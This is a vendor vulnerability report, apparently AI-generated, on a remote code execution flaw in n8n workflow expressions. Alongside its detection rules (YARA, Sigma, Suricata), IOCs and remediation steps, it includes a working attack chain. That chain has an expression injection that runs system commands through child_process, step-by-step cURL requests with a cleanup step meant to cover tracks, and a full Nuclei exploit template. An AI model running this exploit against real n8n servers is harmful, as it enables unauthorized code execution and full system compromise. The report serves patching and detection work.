CVE-2025-68613
Executive Summary
CVE-2025-68613 is a critical Remote Code Execution (RCE) vulnerability in n8n, an open-source workflow automation platform. The flaw resides in the workflow expression evaluation system, where expressions supplied by authenticated users during workflow configuration are evaluated in an execution context that is not sufficiently isolated from the underlying runtime. An authenticated attacker can abuse this to execute arbitrary code with the privileges of the n8n process, leading to full system compromise. The vulnerability affects versions starting from 0.211.0 up to (but not including) 1.120.4, 1.121.1, and 1.122.0. A public proof-of-concept (PoC) exists via a Nuclei template, and exploitation requires authentication. The CVSS score is 9.9 (Critical) with a vector indicating network attack vector, low attack complexity, low privileges required, no user interaction, and changed scope.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
n8n is distributed as an npm package (n8n). Users who install via npm should update to the patched versions (1.120.4, 1.121.1, or 1.122.0) immediately. The vulnerability is introduced in the core workflow expression evaluation logic, not in a third-party dependency. However, the exploit leverages Node.js built-in modules (child_process), so the attack surface is inherent to the Node.js runtime. Organizations using n8n in containerized environments should ensure the base image is updated and that the n8n process runs with the least privileges necessary.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Base Score: 9.9 (Critical)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required; the exploit is straightforward.
- Privileges Required (PR): Low (L) – An attacker needs only an authenticated user account (not admin).
- User Interaction (UI): None (N) – No victim interaction is needed.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): High (H) – Full read access to sensitive data.
- Integrity (I): High (H) – Full write access to modify workflows and system files.
- Availability (A): High (H) – Potential for denial of service or process disruption.
Threat Level: Critical. The combination of low privileges required, network exploitability, and high impact makes this a top-priority vulnerability for any organization using n8n.
Deep Dive & Mechanics
The vulnerability is a classic expression injection (CWE-94) in n8n's workflow expression evaluation. n8n allows users to define workflows with nodes that can evaluate JavaScript-like expressions (e.g., {{ $json.field }}). In vulnerable versions, the expression evaluation context is not properly sandboxed, allowing an attacker to escape the expression sandbox and access Node.js global objects.
The exploit works by injecting a malicious expression into a workflow node's parameter. The expression uses this.process.mainModule.require to access the require function of the Node.js process, which is normally restricted. From there, the attacker can load the child_process module and execute arbitrary system commands.
Key components of the exploit:
- Expression Injection: The attacker crafts a workflow with a node (e.g., "Set" node) that contains a parameter with a value like
={{ (function() { var require = this.process.mainModule.require; var execSync = require('child_process').execSync; return execSync('whoami').toString(); })() }}. - Workflow Execution: The attacker triggers the workflow (e.g., via the Manual Trigger node).
- Code Execution: When n8n evaluates the expression, it executes the injected code, running arbitrary commands on the server.
- Output Retrieval: The attacker can read the command output from the workflow execution results.
The vulnerability is present in the expression evaluation engine, which uses eval or similar mechanisms without proper sandboxing. The fix in patched versions restricts access to this.process.mainModule and other dangerous globals.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// In vulnerable versions, expression evaluation might look like:
function evaluateExpression(expr, context) {
// No sandboxing - direct eval
return eval(expr);
}
// This allows access to 'this.process.mainModule.require'
Patched Code (Conceptual):
// In patched versions, the expression is evaluated in a sandboxed context:
const vm = require('vm');
function evaluateExpression(expr, context) {
const sandbox = Object.create(null);
sandbox.$json = context.json;
// ... other safe bindings
vm.runInNewContext(expr, sandbox, { timeout: 1000 });
}
// This prevents access to 'process' and 'require'
The patched versions introduce a sandbox using Node.js vm module (or similar) that restricts access to dangerous globals. The exact implementation may vary, but the principle is to isolate the expression evaluation from the main Node.js runtime.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A vulnerable n8n instance (version >= 0.211.0 and < 1.120.4, or 1.121.0, or 1.122.0).
- Valid credentials for an authenticated user (any role).
Exploitation Steps:
- Version Detection: Access the
/signinpage and extract the version from the meta tag. - Authentication: Login via
/rest/loginwith valid credentials. - Create Malicious Workflow: POST to
/rest/workflowswith a JSON payload containing a "Set" node with an expression that executes a command (e.g.,whoami). - Execute Workflow: POST to
/rest/workflows/{workflow_id}/runto trigger the workflow. - Retrieve Output: GET
/rest/executions/{execution_id}to read the command output. - Cleanup: Archive and delete the workflow to cover tracks.
Nuclei Template (Provided): The full Nuclei template is included in the ## Detection Engineering section. It automates the above steps.
Example cURL Commands:
# Step 1: Login
curl -X POST https://target.n8n/rest/login \
-H "Content-Type: application/json" \
-d '{"emailOrLdapLoginId":"user@example.com","password":"password"}'
# Step 2: Create workflow (replace RANDSTR with random string)
curl -X POST https://target.n8n/rest/workflows \
-H "Content-Type: application/json" \
-d '{"name":"rce-test-RANDSTR","active":false,"nodes":[{"parameters":{},"name":"Manual Trigger","type":"n8n-nodes-base.manualTrigger","typeVersion":1,"position":[250,300],"id":"trigger-RANDSTR"},{"parameters":{"values":{"string":[{"name":"rce_result","value":"={{ (function() { var require = this.process.mainModule.require; var execSync = require('child_process').execSync; return execSync('whoami && id && uname -a').toString(); })() }}"}]}},"name":"RCE Test","type":"n8n-nodes-base.set","typeVersion":2,"position":[450,300],"id":"set-RANDSTR"}],"connections":{"Manual Trigger":{"main":[[{"node":"RCE Test","type":"main","index":0}]]}},"settings":{}}'
# Step 3: Run workflow (replace WORKFLOW_ID)
curl -X POST https://target.n8n/rest/workflows/WORKFLOW_ID/run \
-H "Content-Type: application/json" \
-d '{"workflowData":{"id":"WORKFLOW_ID","name":"rce-test-RANDSTR","active":false,"nodes":[{"parameters":{},"name":"Manual Trigger","type":"n8n-nodes-base.manualTrigger","typeVersion":1,"position":[250,300],"id":"trigger-RANDSTR"},{"parameters":{"values":{"string":[{"name":"rce_result","value":"={{ (function() { var require = this.process.mainModule.require; var execSync = require('child_process').execSync; return execSync('whoami && id && uname -a').toString(); })() }}"}]}},"name":"RCE Test","type":"n8n-nodes-base.set","typeVersion":2,"position":[450,300],"id":"set-RANDSTR"}],"connections":{"Manual Trigger":{"main":[[{"node":"RCE Test","type":"main","index":0}]]}},"settings":{}}}'
# Step 4: Get results (replace EXECUTION_ID)
curl https://target.n8n/rest/executions/EXECUTION_ID
# Step 5: Cleanup
curl -X POST https://target.n8n/rest/workflows/WORKFLOW_ID/archive
curl -X DELETE https://target.n8n/rest/workflows/WORKFLOW_ID
Blue Team (Defensive)
Detection:
- Monitor for unusual workflow creation events, especially those containing expressions with
this.process.mainModule.requireorchild_process. - Alert on execution of workflows by non-admin users that contain "Set" nodes with suspicious expressions.
- Monitor network traffic for POST requests to
/rest/workflowswith large JSON payloads containingfunction()andrequire.
Hunting:
- Search logs for workflow names containing "rce-test" or similar patterns.
- Look for execution IDs that are immediately followed by a GET request to
/rest/executions/{id}. - Check for rapid creation and deletion of workflows (indicates cleanup).
Prevention:
- Apply the patch immediately.
- Restrict workflow creation and editing permissions to trusted users only.
- Deploy n8n in a hardened environment with restricted OS privileges and network access.
- Use a Web Application Firewall (WAF) to block requests containing
this.process.mainModule.requirein the request body.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/rest/workflowswith JSON containingthis.process.mainModule.requireorchild_process.execSync. - POST requests to
/rest/workflows/{id}/runimmediately after workflow creation. - GET requests to
/rest/executions/{id}shortly after workflow execution. - POST/DELETE requests to
/rest/workflows/{id}/archiveand/rest/workflows/{id}for cleanup.
- POST requests to
File System IOCs:
- Unusual processes spawned by the n8n process (e.g.,
whoami,id,uname). - Temporary files created in the n8n working directory with suspicious names.
- Unusual processes spawned by the n8n process (e.g.,
Log IOCs:
- n8n logs showing workflow execution with expressions containing
require('child_process'). - Audit logs showing workflow creation by non-admin users with suspicious node configurations.
- n8n logs showing workflow execution with expressions containing
Behavioral IOCs:
- Rapid creation and deletion of workflows.
- Workflows with names like "rce-test-*" or similar.
- Workflows containing only a "Manual Trigger" and a "Set" node.
Detection Engineering
YARA Rule
rule CVE_2025_68613_n8n_RCE_Expression_Injection {
meta:
description = "Detects n8n workflow JSON payloads containing malicious expression injection for CVE-2025-68613"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-68613"
severity = "critical"
strings:
$s1 = "this.process.mainModule.require" ascii wide nocase
$s2 = "child_process.execSync" ascii wide nocase
$s3 = "child_process.exec" ascii wide nocase
$s4 = "require('child_process')" ascii wide nocase
$s5 = "require(\"child_process\")" ascii wide nocase
$s6 = "process.mainModule" ascii wide nocase
condition:
any of ($s1, $s2, $s3, $s4, $s5, $s6)
}
Sigma Rule
title: n8n RCE via Expression Injection (CVE-2025-68613)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to n8n workflow endpoints containing malicious expression injection patterns.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-68613
- https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp
logsource:
category: webserver
product: nginx
service: http
detection:
selection:
http.method: 'POST'
http.url|contains:
- '/rest/workflows'
- '/rest/workflows/*/run'
http.body|contains:
- 'this.process.mainModule.require'
- 'child_process.execSync'
- 'child_process.exec'
- 'require(''child_process'')'
- 'require("child_process")'
- 'process.mainModule'
condition: selection
falsepositives:
- Legitimate use of Node.js modules in expressions (unlikely in standard workflows)
level: critical
tags:
- attack.t1190
- cve.2025.68613
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-68613 n8n RCE Expression Injection Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/rest/workflows";
http_uri;
content:"this.process.mainModule.require";
http_client_body;
content:"child_process.execSync";
http_client_body;
classtype:attempted-admin;
sid:10000001;
rev:1;
reference:cve,2025-68613;
priority:1;
)
Nuclei Template (Full)
id: CVE-2025-68613
info:
name: n8n - Remote Code Execution via Expression Injection
author: rxerium,PentesterFlow,MuhamadJuwandi
severity: critical
description: |
n8n < 1.120.4, 1.121.1, 1.122.0 contains a remote code execution caused by insufficient isolation in workflow expression evaluation, letting authenticated attackers execute arbitrary code with n8n process privileges. Exploit requires authentication.
impact: |
Authenticated attackers can execute arbitrary code with n8n process privileges, potentially leading to full system compromise.
remediation: |
Upgrade to versions 1.120.4, 1.121.1, or 1.122.0 or later.
reference:
- https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp
- https://nvd.nist.gov/vuln/detail/CVE-2025-68613
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2025-68613
epss-score: 0.8026
epss-percentile: 0.99127
cwe-id: CWE-94
metadata:
vendor: n8n
product: n8n
verified: true
max-request: 7
shodan-query: http.favicon.hash:-831756631
tags: cve,cve2025,n8n,authenticated,rce,intrusive,vkev,kev
variables:
randstr: "{{rand_base(8)}}"
n8n_email: "{{n8n_email}}"
n8n_password: "{{n8n_password}}"
flow: |
http("version-check");
let email = template["n8n_email"];
let password = template["n8n_password"];
if (email && password && email.length > 0 && password.length > 0) {
http("login") && http("create-workflow") && http("run-workflow") && http("get-results") && http("delete-workflow");
}
http:
- id: version-check
raw:
- |
GET /signin HTTP/1.1
Host: {{Hostname}}
Accept: */*
extractors:
- type: regex
name: base64_content
group: 1
regex:
- '<meta name="n8n:config:sentry" content="([A-Za-z0-9+/=]+)"'
internal: true
- type: dsl
name: version
dsl:
- 'replace_regex(base64_decode(base64_content), ".*n8n@([0-9]+\\.[0-9]+\\.[0-9]+).*", "$1")'
internal: true
- type: dsl
dsl:
- '"n8n Version: " + version'
matchers:
- type: dsl
name: version_check
dsl:
- '(compare_versions(version, ">= 0.211.0") && compare_versions(version, "< 1.120.4")) || (compare_versions(version, ">= 1.121.0") && compare_versions(version, "< 1.121.1"))'
- 'contains(body, "<title>n8n.io")'
condition: and
- id: login
raw:
- |
POST /rest/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"emailOrLdapLoginId":"{{n8n_email}}","password":"{{n8n_password}}"}
matchers:
- type: status
status:
- 200
internal: true
- id: create-workflow
raw:
- |
POST /rest/workflows HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"rce-test-{{randstr}}","active":false,"nodes":[{"parameters":{},"name":"Manual Trigger","type":"n8n-nodes-base.manualTrigger","typeVersion":1,"position":[250,300],"id":"trigger-{{randstr}}"},{"parameters":{"values":{"string":[{"name":"rce_result","value":"={{ (function() { var require = this.process.mainModule.require; var execSync = require('child_process').execSync; return execSync('whoami && id && uname -a').toString(); })() }}"}]}},"name":"RCE Test","type":"n8n-nodes-base.set","typeVersion":2,"position":[450,300],"id":"set-{{randstr}}"}],"connections":{"Manual Trigger":{"main":[[{"node":"RCE Test","type":"main","index":0}]]}},"settings":{}}
extractors:
- type: regex
name: workflow_id
part: body
internal: true
regex:
- '"createdAt":"[^"]+","id":"([a-zA-Z0-9]+)"'
group: 1
matchers:
- type: status
status:
- 200
internal: true
- id: run-workflow
raw:
- |
POST /rest/workflows/{{workflow_id}}/run HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"workflowData":{"id":"{{workflow_id}}","name":"rce-test-{{randstr}}","active":false,"nodes":[{"parameters":{},"name":"Manual Trigger","type":"n8n-nodes-base.manualTrigger","typeVersion":1,"position":[250,300],"id":"trigger-{{randstr}}"},{"parameters":{"values":{"string":[{"name":"rce_result","value":"={{ (function() { var require = this.process.mainModule.require; var execSync = require('child_process').execSync; return execSync('whoami && id && uname -a').toString(); })() }}"}]}},"name":"RCE Test","type":"n8n-nodes-base.set","typeVersion":2,"position":[450,300],"id":"set-{{randstr}}"}],"connections":{"Manual Trigger":{"main":[[{"node":"RCE Test","type":"main","index":0}]]}},"settings":{}}}
extractors:
- type: regex
name: execution_id
part: body
internal: true
regex:
- '"executionId":"([0-9]+)"'
group: 1
matchers:
- type: status
status:
- 200
internal: true
- id: get-results
raw:
- |
GET /rest/executions/{{execution_id}}?{{wait_for(3)}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: rce_output
part: body
regex:
- '"([^"]*uid=[0-9]+\([^)]+\)[^"]*)"'
group: 1
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- 'uid=[0-9]+\([a-zA-Z0-9_-]+\)'
- type: status
status:
- 200
- id: delete-workflow
raw:
- |
POST /rest/workflows/{{workflow_id}}/archive?{{wait_for(2)}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{}
- |
DELETE /rest/workflows/{{workflow_id}}?{{wait_for(2)}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: status
status:
- 200
internal: true
# digest: 4a0a00473045022027614526ab344c5caebe2da4f4d8f024e9a7660a67a60548aef4b0f218392ddd022100cdde8a23c00e1a1db7a340477b6f958278c31ecdf5a348370d514f5e69e46e12:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Upgrade n8n to version 1.120.4, 1.121.1, or 1.122.0 (or later) immediately.
- If upgrade is not possible, restrict workflow creation and editing permissions to fully trusted users only.
- Deploy n8n in a hardened environment with restricted OS privileges and network access (e.g., run as a non-root user, use network segmentation).
Long-term Measures:
- Implement a Web Application Firewall (WAF) to block malicious expression patterns.
- Enable audit logging and monitor for suspicious workflow activities.
- Regularly review and update n8n to the latest version.
- Consider using a sandboxed execution environment (e.g., Docker with read-only root filesystem) for n8n.
Patch Verification:
- After upgrading, verify the version by checking the
/signinpage meta tag or the n8n API. - Test that the exploit no longer works by attempting to create a workflow with the malicious expression (in a non-production environment).
Valters IT
This report was generated by an AI DevSecOps assistant. Always verify findings in a controlled environment.
{/* [Security Hash: 397F1C067B8B26EB896FE080] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.